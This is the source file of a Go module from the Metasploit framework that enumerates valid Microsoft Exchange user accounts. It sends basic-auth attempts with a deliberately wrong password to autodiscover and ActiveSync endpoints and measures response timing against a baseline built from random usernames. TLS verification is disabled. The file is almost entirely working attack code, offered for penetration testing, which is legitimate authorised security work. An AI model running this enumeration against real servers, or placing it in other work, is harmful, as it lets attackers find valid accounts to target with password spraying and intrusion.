rapid7/metasploit-framework

View on GitHub
modules/auxiliary/scanner/msmail/onprem_enum.go

Summary

Maintainability
A
0 mins
Test Coverage
//usr/bin/env go run "$0" "$@"; exit "$?"

package main

import (
    "crypto/tls"
    "metasploit/module"
    "msmail"
    "net/http"
    "sort"
    "strconv"
    "sync"
    "time"
)

func main() {
    metadata := &module.Metadata{
        Name:        "On premise user enumeration",
        Description: "On premise enumeration of valid exchange users",
        Authors:     []string{"poptart", "jlarose", "Vincent Yiu", "grimhacker", "Nate Power", "Nick Powers", "clee-r7"},
        Date:        "2018-11-06",
        Type:        "single_scanner",
        Privileged:  false,
        References:  []module.Reference{},
        Options: map[string]module.Option{
            "USERNAME":   {Type: "string", Description: "Single user name to do identity test against", Required: false, Default: ""},
            "USER_FILE":  {Type: "string", Description: "Path to file containing list of users", Required: false, Default: ""},
        }}

    module.Init(metadata, run_onprem_enum)
}

func run_onprem_enum(params map[string]interface{}) {
    userFile := params["USER_FILE"].(string)
    userName := params["USERNAME"].(string)
    host := params["rhost"].(string)
    threads, e := strconv.Atoi(params["THREADS"].(string))
    if e != nil {
        module.LogError("Unable to parse 'Threads' value using default (5)")
        threads = 5
    }

    if threads > 100 {
        module.LogInfo("Threads value too large, setting max(100)")
        threads = 100
    }

    if userFile == "" && userName == "" {
        module.LogError("Expected 'USER_FILE' or 'USERNAME' field to be populated")
        return
    }

    var validUsers []string
    avgResponse := basicAuthAvgTime(host)
    if userFile != "" {
        validUsers = determineValidUsers(host, avgResponse, msmail.ImportUserList(userFile), threads)
    } else {
        validUsers = determineValidUsers(host, avgResponse, []string{userName}, threads)
    }

    msmail.ReportValidUsers(host, validUsers)
}

func determineValidUsers(host string, avgResponse time.Duration, userlist []string, threads int) []string {
    limit := threads
    var wg sync.WaitGroup
    queue := make(chan string)

    /*Keep in mind you, nothing has been added to handle successful auths
      so the password for auth attempts has been hardcoded to something
      that is not likely to be correct.
    */
    pass := "Summer2018978"
    internaldomain := msmail.HarvestInternalDomain(host, false)
    url1 := "https://" + host + "/autodiscover/autodiscover.xml"
    url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
    url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
    var urlToHarvest string
    if msmail.WebRequestCodeResponse(url1) == 401 {
        urlToHarvest = url1
    } else if msmail.WebRequestCodeResponse(url2) == 401 {
        urlToHarvest = url2
    } else if msmail.WebRequestCodeResponse(url3) == 401 {
        urlToHarvest = url3
    } else {
        module.LogInfo("Unable to resolve host provided to determine valid users.")
        return []string{}
    }
    var validusers []string
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    for i := 0; i < limit; i++ {
        wg.Add(1)
        go func(i int) {
            defer wg.Done()
            for user := range queue {
                startTime := time.Now()
                msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+user, pass, tr)
                elapsedTime := time.Since(startTime)

                if float64(elapsedTime) < float64(avgResponse)*0.77 {
                    module.LogGood(user + " - " + elapsedTime.String())
                    validusers = append(validusers, user)
                } else {
                    module.LogError(user + " - " + elapsedTime.String())
                }
            }
        }(i)
    }

    for i := 0; i < len(userlist); i++ {
        queue <- userlist[i]
    }

    close(queue)
    wg.Wait()
    return validusers
}

func basicAuthAvgTime(host string) time.Duration {
    internaldomain := msmail.HarvestInternalDomain(host, false)
    url1 := "https://" + host + "/autodiscover/autodiscover.xml"
    url2 := "https://" + host + "/Microsoft-Server-ActiveSync"
    url3 := "https://autodiscover." + host + "/autodiscover/autodiscover.xml"
    var urlToHarvest string
    if msmail.WebRequestCodeResponse(url1) == 401 {
        urlToHarvest = url1
    } else if msmail.WebRequestCodeResponse(url2) == 401 {
        urlToHarvest = url2
    } else if msmail.WebRequestCodeResponse(url3) == 401 {
        urlToHarvest = url3
    } else {
        module.LogInfo("Unable to resolve host provided to determine valid users.")
        return -1
    }

    //We are determining sample auth response time for invalid users, the password used is irrelevant.
    pass := "Summer201823904"
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    module.LogInfo("Collecting sample auth times...")

    var sliceOfTimes []float64
    var medianTime float64

    usernamelist := []string{"sdfsdskljdfhkljhf", "ssdlfkjhgkjhdfsdfw", "sdfsdfdsfff", "sefsefsefsss", "lkjhlkjhiuyoiuy", "khiuoiuhohuio", "s2222dfs45g45gdf", "sdfseddf3333"}
    for i := 0; i < len(usernamelist)-1; i++ {
        startTime := time.Now()
        msmail.WebRequestBasicAuth(urlToHarvest, internaldomain+"\\"+usernamelist[i], pass, tr)
        elapsedTime := time.Since(startTime)
        if elapsedTime > time.Second*15 {
            module.LogInfo("Response taking longer than 15 seconds, setting time:")
            module.LogInfo("Avg Response: " + time.Duration(elapsedTime).String())
            return time.Duration(elapsedTime)
        }
        if i != 0 {
            module.LogInfo(elapsedTime.String())
            sliceOfTimes = append(sliceOfTimes, float64(elapsedTime))
        }
    }
    sort.Float64s(sliceOfTimes)
    if len(sliceOfTimes)%2 == 0 {
        positionOne := len(sliceOfTimes)/2 - 1
        positionTwo := len(sliceOfTimes) / 2
        medianTime = (sliceOfTimes[positionTwo] + sliceOfTimes[positionOne]) / 2
    } else if len(sliceOfTimes)%2 != 0 {
        position := len(sliceOfTimes)/2 - 1
        medianTime = sliceOfTimes[position]
    } else {
        module.LogError("Error determining whether length of times gathered is even or odd to obtain median value.")
    }
    module.LogInfo("Avg Response: " + time.Duration(medianTime).String())
    return time.Duration(medianTime)
}